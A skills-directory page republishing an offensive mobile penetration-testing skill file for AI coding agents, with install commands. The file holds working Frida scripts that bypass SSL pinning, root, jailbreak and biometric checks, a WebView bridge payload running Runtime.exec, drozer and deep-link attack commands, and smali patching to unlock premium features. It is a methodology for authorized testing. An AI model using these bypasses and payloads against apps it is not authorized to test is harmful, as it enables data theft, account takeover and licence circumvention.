Mobile Security Expert
s7safe/android-h1
移动安全漏洞挖掘知识库,基于HackerOne公开报告提供Android和iOS应用的漏洞挖掘手法、技术细节和代码模式分析;用于安全研究人员和漏洞挖掘者学习参考、代码审计和漏洞检测指导。
Mobile (Android + iOS) application penetration testing methodology.
$ npx skills add SnailSploit/Claude-Red --skill offensive-mobile -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install SnailSploit/Claude-Red offensive-mobile --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git skills-src && mkdir -p .claude/skills && cp -r skills-src/Skills/mobile/offensive-mobile .claude/skills/offensive-mobile && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "offensive-mobile" agent skill from https://github.com/SnailSploit/Claude-Red/tree/main/Skills/mobile/offensive-mobile into .claude/skills/offensive-mobile/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "offensive-mobile", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/SnailSploit/Claude-Red/tree/main/Skills/mobile/offensive-mobileType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add SnailSploit/Claude-Red --skill offensive-mobile -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install SnailSploit/Claude-Red offensive-mobile --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git skills-src && mkdir -p .agents/skills && cp -r skills-src/Skills/mobile/offensive-mobile .agents/skills/offensive-mobile && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "offensive-mobile" agent skill from https://github.com/SnailSploit/Claude-Red/tree/main/Skills/mobile/offensive-mobile into .agents/skills/offensive-mobile/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "offensive-mobile", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add SnailSploit/Claude-Red --skill offensive-mobile -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install SnailSploit/Claude-Red offensive-mobile --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/Skills/mobile/offensive-mobile .cursor/skills/offensive-mobile && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "offensive-mobile" agent skill from https://github.com/SnailSploit/Claude-Red/tree/main/Skills/mobile/offensive-mobile into .cursor/skills/offensive-mobile/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "offensive-mobile", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/SnailSploit/Claude-Red.git --path Skills/mobile/offensive-mobile--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add SnailSploit/Claude-Red --skill offensive-mobile -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install SnailSploit/Claude-Red offensive-mobile --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/Skills/mobile/offensive-mobile .gemini/skills/offensive-mobile && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "offensive-mobile" agent skill from https://github.com/SnailSploit/Claude-Red/tree/main/Skills/mobile/offensive-mobile into .gemini/skills/offensive-mobile/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "offensive-mobile", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install SnailSploit/Claude-Red offensive-mobileInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add SnailSploit/Claude-Red --skill offensive-mobile -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git skills-src && mkdir -p .github/skills && cp -r skills-src/Skills/mobile/offensive-mobile .github/skills/offensive-mobile && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "offensive-mobile" agent skill from https://github.com/SnailSploit/Claude-Red/tree/main/Skills/mobile/offensive-mobile into .github/skills/offensive-mobile/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "offensive-mobile", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add SnailSploit/Claude-Red --skill offensive-mobile -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install SnailSploit/Claude-Red offensive-mobile --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/Skills/mobile/offensive-mobile .opencode/skills/offensive-mobile && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "offensive-mobile" agent skill from https://github.com/SnailSploit/Claude-Red/tree/main/Skills/mobile/offensive-mobile into .opencode/skills/offensive-mobile/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "offensive-mobile", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
offensive-mobileMobile (Android + iOS) application penetration testing methodology.
Offensive Mobile is an agent skill from SnailSploit/Claude-Red. Mobile (Android + iOS) application penetration testing methodology. Covers static analysis (apktool/jadx for Android, class-dump/Hopper/IDA for iOS), dynamic instrumentation with Frida and Objection, SSL pinning bypass strategies, root/jailbreak detection bypass, deep-link / URL-scheme abuse, exported component attacks (Android activities, services, providers, receivers; iOS XPC, URL schemes, universal links), insecure data storage (SharedPrefs, KeyStore misuse, NSUserDefaults, Keychain ACL bypass), IPC / Intent…
Its SKILL.md is about 3.5k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Mobile application security, Bug bounty and Static analysis and SAST. It works with iOS, Android, Frida and Amazon Web Services. The repository describes itself as: claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level… The licence is MIT.
5 steps, taken from the first numbered list in SKILL.md.
Read from SKILL.md and the folder at commit 739512a. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
adbfirebasexcruncurlgitleaksFrom the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
target-app.firebaseio.comAlso links to:
github.comFrom URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Offensive Mobile loads about 3.5k tokens when it runs. Until then it costs about 217 tokens; SKILL.md has 820 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from SnailSploit/Claude-Red at commit 739512a, republished under its MIT licence (© SnailSploit). 820 words, ~3,489 tokens.
.claude/skills/offensive-mobile/SKILL.md (or your agent's skills folder).userdebug buildMagiskTrustUserCerts)# Decode resources + smali
apktool d app.apk -o app
# Decompile to Java
jadx -d app_src app.apk
# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/ # leftover debug logs
# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"
# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app
# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA
# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
// ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});
// Bypass root detection
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk')) return false;
return this.exists();
};
});
// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dumpApp with <network-security-config> requiring its own pinned CA: edit res/xml/network_security_config.xml, repack:
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apkOr live-bypass with Frida (preferred — no recompile).
For pinning, use Frida hooks against SecTrustEvaluate* / NSURLSession delegate methods. ATS exceptions in Info.plist (NSAllowsArbitraryLoads) make MITM trivial without pinning.
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
--extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secretsTargets:
exported="true" activities → call from another app, bypass authgrantUriPermissions → arbitrary readBOOT_COMPLETED etc. with privileged actions// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"Universal Links: check apple-app-site-association on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.
launchctl list | grep com.vendor enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgzInspect:
shared_prefs/*.xml — preferences in plaintextdatabases/*.db — SQLite (use sqlite3 to dump)files/ — arbitrary writescache/ and external storage (sdcard/Android/data/...) — often readable across appssetUserAuthenticationRequired(true) → use any time process is running# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
# AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)
# WhenUnlocked → standard
# AlwaysThisDeviceOnly → bypasses screen lockiOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.
addJavascriptInterfaceIf the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')WebView with setAllowFileAccessFromFileURLs(true) + a HTML attachment that the user opens → reads any file the app can.
WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomaticallywkScriptMessageHandler exposed — same JS bridge concern as AndroidloadFileURL and broad allowingReadAccessTo directoryApps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.
Java.perform(() => {
const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
Cb.onAuthenticationSucceeded.implementation = function (r) {
return this.onAuthenticationSucceeded(r); // accept whatever
};
Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) — if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter(args) {
const cb = new ObjC.Block(args[4]);
const orig = cb.implementation;
cb.implementation = function(success, err) { orig.call(this, true, NULL); };
}
});The fix on the dev side is to use a biometric-bound key in the Keychain — the bypass above doesn't yield key access.
Pull URL from app:
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth readRules misconfigured to allow read, write: if true; — visible in app's REST calls. Test with anon SDK or direct REST.
Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.
Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.
truffleHog filesystem app_src/
gitleaks detect --source app_src/The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:
X-Device-ID, X-App-Version, X-Signature) often calculable client-side. Pull the algorithm from the binary./api/v1/... retired in newer app, server still serving with weaker auth./topics/<predictable> may receive messages meant for others (Firebase Messaging).# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apkFor commercial bypasses, use LSPosed module so original APK isn't modified — bypasses signature checks that lock down repackaged variants.
codesign -d --entitlements - Payload/App.app/AppLook for: keychain-access-groups (cross-app keychain), com.apple.security.application-groups (shared containers), com.apple.developer.associated-domains (universal links), private entitlements (rare).
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];Any app can invoke any registered URL scheme. Validate sender? Most don't.
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/Multiple apps from same vendor share — secrets here cross app boundary.
| Detector | Bypass |
|---|---|
| Frida server detection (port 27042 open) | Run frida-server on alt port, use frida -H |
Magisk detection via /sbin/magisk | Magisk Hide / DenyList |
| Emulator detection | Run on real device, or stub Build.FINGERPRINT etc. |
| iOS jailbreak detection (file existence) | Frida hook stat / fopen / dlopen |
Anti-debug ptrace(PT_DENY_ATTACH) | Frida-stalker-based, or kernel patch |
| Certificate pinning | Frida universal pinning bypass |
| App attestation (Play Integrity / DeviceCheck) | Hard — usually requires server-side bypass or app attestation token relay |
[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis© SnailSploit, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in Skills/mobile/offensive-mobile of SnailSploit/Claude-Red.
Open the folder on GitHubat commit 739512a
Offensive Mobile next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Offensive Mobile this skillSnailSploit/Claude-Red | 7.3k | — | ~3.5k | Automated safety check: Pass | MIT | |
| Mobile Security Experts7safe/android-h1 | 210 | — | ~631 | Automated safety check: Pass | None | |
| Frida Mobile Securityindex-login/MobileRE-Skill | 111 | — | ~3k | Automated safety check: Pass | MIT | |
| Mira Risk Collectvw2x/Mira | 105 | — | ~793 | Automated safety check: Pass | GPL-3.0 | |
| R0crawl Skillsmanyuegong33/r0crawl_skills | 305 | — | ~1.2k | Automated safety check: Pass | None | |
| Mobile Reversesickn33/agentic-awesome-skills | 47k | 1 repos | ~1.5k | Automated safety check: Pass | MIT |
s7safe/android-h1
移动安全漏洞挖掘知识库,基于HackerOne公开报告提供Android和iOS应用的漏洞挖掘手法、技术细节和代码模式分析;用于安全研究人员和漏洞挖掘者学习参考、代码审计和漏洞检测指导。
index-login/MobileRE-Skill
用于 Android/iOS 移动应用安全逆向分析:Frida 动态插桩、绕过反调试/反注入/加固壳、脱壳、加密与 native SO 层 hook、运行时行为分析、jadx-mcp 静态攻击面分析、离线 SO 静态分析(ELF 侦察/字符串/交叉引用/反汇编/JNI 判型)。用户提到"绕过检测/闪退/脱壳/加密/抓包/行为摸底/内存扫描/分析 so/ELF…
vw2x/Mira
Run Mira environment risk collection. An agent skill from vw2x/Mira.
manyuegong33/r0crawl_skills
面向新手的全谱系逆向工程路由器,覆盖 Web/JavaScript、Android/iOS、Frida、脱壳、反分析、原生二进制、协议、固件、恶意软件、游戏、云 API、CTF、可复现一致性测试。用于逆向、起步、脱壳、反编译、hook、Frida、绕过检测、APK/SO/DEX/JS/PCAP/WASM/PE/ELF/Mach-O 分析、签名还原,或从样本到验证结果的完整调查。
sickn33/agentic-awesome-skills
Authorized Android/iOS application reverse engineering and security testing: APK/IPA analysis, runtime instrumentation (Frida/Objection), SSL-pinning and jailbreak/root-detection bypass, per OWASP…
mukul975/Anthropic-Cybersecurity-Skills
Performs comprehensive iOS application security assessments using Frida for dynamic instrumentation, Objection for runtime exploration, SSL pinning bypass for traffic interception, keychain…
SnailSploit/Claude-Red
KRACK (CVE-2017-13077..082) and FragAttacks (CVE-2020-24586..588 + 26139-26147) — key reinstallation, fragmentation, and aggregation attacks against WPA2 supplicants.
SnailSploit/Claude-Red
Practical offensive fuzzing methodology covering target identification, fuzzer selection (AFL++, libFuzzer, Honggfuzz, Boofuzz, syzkaller), harness writing, corpus curation, mutation strategies…
SnailSploit/Claude-Red
LoRaWAN and sub-GHz (433 / 868 / 915 MHz) attack methodology — LoRaWAN ABP/OTAA join attack, network/session key reuse, frame counter replay, downlink injection on TTN/Helium-style networks, sub-GHz…
SnailSploit/Claude-Red
Wireless / 802.11 attack methodology for red team engagements and wireless security assessments.
SnailSploit/Claude-Red
WPS (Wi-Fi Protected Setup) PIN attack methodology — Pixie Dust offline attack against vulnerable chipsets (Ralink, Realtek, Broadcom, MediaTek), online PIN brute-force with reaver/bully, lockout…
SnailSploit/Claude-Red
Z-Wave attack methodology — sniffing with Z-Force / EZ-Wave / RTL-SDR + ZniffMobile, S0 (legacy) network-key derivation flaw and key reuse, S2 (modern) ECDH commissioning analysis, replay/injection…
Categories
Mobile (Android + iOS) application penetration testing methodology. Offensive Mobile is an agent skill from SnailSploit/Claude-Red. Mobile (Android + iOS) application penetration testing methodology.
Offensive Mobile fits situations like: bug bounty mobile triage; app-store reconnaissance.
Run `npx skills add SnailSploit/Claude-Red --skill offensive-mobile -a claude-code`. Or copy the skill folder (Skills/mobile/offensive-mobile in SnailSploit/Claude-Red) into .claude/skills/offensive-mobile in your project. Claude Code loads it when a task matches its description.
Run `npx skills add SnailSploit/Claude-Red --skill offensive-mobile -a codex`. Or copy the skill folder (Skills/mobile/offensive-mobile in SnailSploit/Claude-Red) into .agents/skills/offensive-mobile in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add SnailSploit/Claude-Red --skill offensive-mobile -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/offensive-mobile, .gemini/skills/offensive-mobile, .github/skills/offensive-mobile and .opencode/skills/offensive-mobile in your project.
Going by SKILL.md and its folder, Offensive Mobile needs the command-line tools its instructions call (adb, firebase, xcrun, curl and gitleaks).
SKILL.md names 2 domains. In commands or code: target-app.firebaseio.com; the agent is likely to contact it when it follows the instructions. As links in the text: github.com. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Offensive Mobile is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 3.5k tokens (SKILL.md is roughly 14k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Offensive Mobile: Mobile Security Expert (s7safe/android-h1, 210 stars), Frida Mobile Security (index-login/MobileRE-Skill, 111 stars), Mira Risk Collect (vw2x/Mira, 105 stars) and R0crawl Skills (manyuegong33/r0crawl_skills, 305 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
SnailSploit (a GitHub user) maintains it in SnailSploit/Claude-Red, which has 7,321 GitHub stars. The repository holds 10 skills in this directory. The repository was last updated on September 19, 2026.
Source: SnailSploit/Claude-Red on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.